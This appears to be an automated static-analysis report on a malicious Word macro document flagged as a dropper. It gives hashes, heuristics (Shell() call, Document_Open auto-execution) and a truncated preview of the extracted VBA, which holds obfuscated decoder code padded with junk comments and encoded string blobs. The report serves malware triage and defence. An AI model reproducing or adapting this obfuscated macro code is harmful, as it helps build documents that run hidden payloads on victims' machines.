Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ce53701bddcc2407…

MALICIOUS

Office (OLE)

93.0 KB Created: 2017-09-03 19:27:00 Authoring application: Microsoft Office Word First seen: 2019-01-31
MD5: b7060ec29c4020b340be54997845187d SHA-1: c46cbf8fb7b6066e4a9b2ffd6daf52eb1395e801 SHA-256: ce53701bddcc24071c55b2b02c79508276b3c69444275f994c0fe690c63b8df8
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV and exhibits critical heuristic firings for VBA macros, including the use of Shell() and an auto-execution macro (Document_Open). This indicates the document is designed to run arbitrary code, likely to download and execute a secondary payload. The presence of VBA macros and the 'Document_Open' auto-execution strongly suggests a spearphishing attachment vector.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6393278-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6393278-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 26899 bytes
SHA-256: 0368f7d8ea515a9b3f94f7d56f9a0a4e4eefa6f6e0a484204dadc5fcfaad912f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 24 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Function f23252(ByVal v732079)
On Error Resume Next
Dim v926967 As Variant, v244079 As Variant, v230436 As String, v830306 As String, v544791 As Variant, v656631 As String, v422952 As Variant, Var_5 As Variant
v230436 = "kK29n1L7sJENTbweKcjYqFNjypbPPv3kHBnaXD0RXDAlyoHKez6VcbJ6hzrBWDvyOcEFefWcJAFASYL9LVmSPmOlpH5voVTx1NbaXywdJhAcFqyDKCOu4XjjsgjXLUzisZxgygBKhNQwhD4gD80cH1otV64ibSDHbwr7iBygNGXk2TNEarlf0i7OeRZhKbhyZdzxtsILUJGFVv0Yb65z2bpVwwQclfDtiZBNZ3qslCPHanpoQqeuRFPDQXwitzJeQHhImaekejw1lFhbFl1lj1pn3rJb1FA4dOaKizVZjoexs1HkVXWpY7TWxnufPf"
v830306 = "sU4tRAsU6f9Y5UaaZmWblVJGmUspt7sPINNpqCpncUlr27ROnCGwVUXCNe9uXXfhuWWCs47oSkTYERWrLqThnX8SAqH41tmwWztf3RAEJEWXAd9RsSg9bZHXdxCD6AunoVqhnv727Dl43rwOll6Aw5J3EWRFIZ5ins8jmjGLrZT4Ioh4JSQedvf9Fj2d3t9Fqwxa7FfnGyHThgpKUvfCcBmc8utN8F9VvTgR7zRtt6TLgcSZ3tLq32C11Bl1t1yqlEVYQuS0wvyuxeACRLOSzIlV6yJYrqoD84a9U6clmtaICjGLBNlb2gQzTKPLTGhRkFFujAZwF5cAqOcWJc94qJhTjwZNPmzhG"
v656631 = "Cz9jm8YwINFz6nF4765TQbE2WugUwSIPXaWkFjBHhK3xd9WfHogCuDzrwuHCxojOenZUpRFqxZdO1qGXgNSUKuERqteTSVqSFquceAkCDIg97fcwKjZIp0"
v544791 = "43"
v926967 = "41"
v244079 = "56"
v422952 = "76"
v682342 = "95"
'Nulla ea commodo esse id commodo incididunt excepteur reprehenderit. Sit enim sunt commodo tempor qui Lorem ipsum amet ipsum ex.
v926967 = v682342 + v422952
'Nisi enim commodo elit consectetur excepteur in irure. Aute cillum ullamco veniam cillum nulla.

Dim v411430 As String
'Aliqua sint ut labore veniam nisi esse.
v244079 = Sqr(v926967)
v926967 = v544791 + v544791
'Esse magna nisi adipisicing elit incididunt fugiat ad ullamco culpa duis ea. Sit irure ea aliquip ad reprehenderit voluptate pariatur.
v544791 = v244079 + v544791

v411430 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
    Dim v997533
    Dim v998728
    'Cupidatat proident minim cillum voluptate veniam nisi eiusmod proident eiusmod ex. Aliqua excepteur irure cupidatat Lorem consequat laborum cillum magna est occaecat velit anim.
'Nulla aliqua fugiat sint nulla ea cillum minim quis qui laborum mollit sit.
'Enim ullamco veniam sit occaecat nulla ullamco. Cupidatat sunt mollit eu qui adipisicing occaecat incididunt.
'Consequat ad labore voluptate consectetur laboris consequat quis voluptate. Aliquip et officia occaecat ipsum excepteur fugiat eu occaecat.
'Cupidatat irure excepteur nostrud nostrud eu veniam minim adipisicing ex eu ut fugiat non irure.

    Dim v177081, v143776
    Dim v305644, v239833, v608933, v542172
    Dim v708988, v150015, Byte3
    'Ut officia ex laborum cillum.
v682342 = Log(v244079)
'Quis excepteur est magna non ea velit pariatur velit.
v422952 = v926967 + v244079
v422952 = v544791 + v926967

    If Len(v732079) Mod 4 > 0 Then v732079 = v732079 & String(4 - (Len(v732079) Mod 4), " ")
    v997533 = ""
    'Non officia Lorem cupidatat velit et aute mollit cupidatat est nisi ad ad ea.
v422952 = v244079 + v682342
'Nulla enim ullamco aliquip id cillum.

    For v998728 = 1 To Len(v732079) Step 4
        v143776 = ""
        v177081 = Mid(v732079, v998728, 4)
        'Enim esse occaecat sunt occaecat ipsum cupidatat id.
v544791 = v244079 - v926967
'Eiusmod sunt nisi reprehenderit eu enim cillum aliqua minim culpa labore. Enim cupidatat laboris id eiusmod.

        v305644 = InStr(v411430, Mid(v177081, 1, 1)) - 1
        v239833 = InStr(v411430, Mid(v177081, 2, 1)) - 1
        'Nulla fugiat aliquip officia ad aliquip.
'Irure eiusmod amet occaecat reprehenderit in duis fugiat sunt consequat sint id exercitation.
v244079 = RGB(234, 20, 31)
'Mollit enim aliquip in adipisicing esse laborum. Est qui exercitation qui dolore tempor do consectetur aute.

        v608933 = InStr(v411430, Mid(v177081, 3, 1)) - 1
        v542172 = InStr(v411430, Mid(v177081, 4, 1)) - 1
        v708988 = Chr(((v2398
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.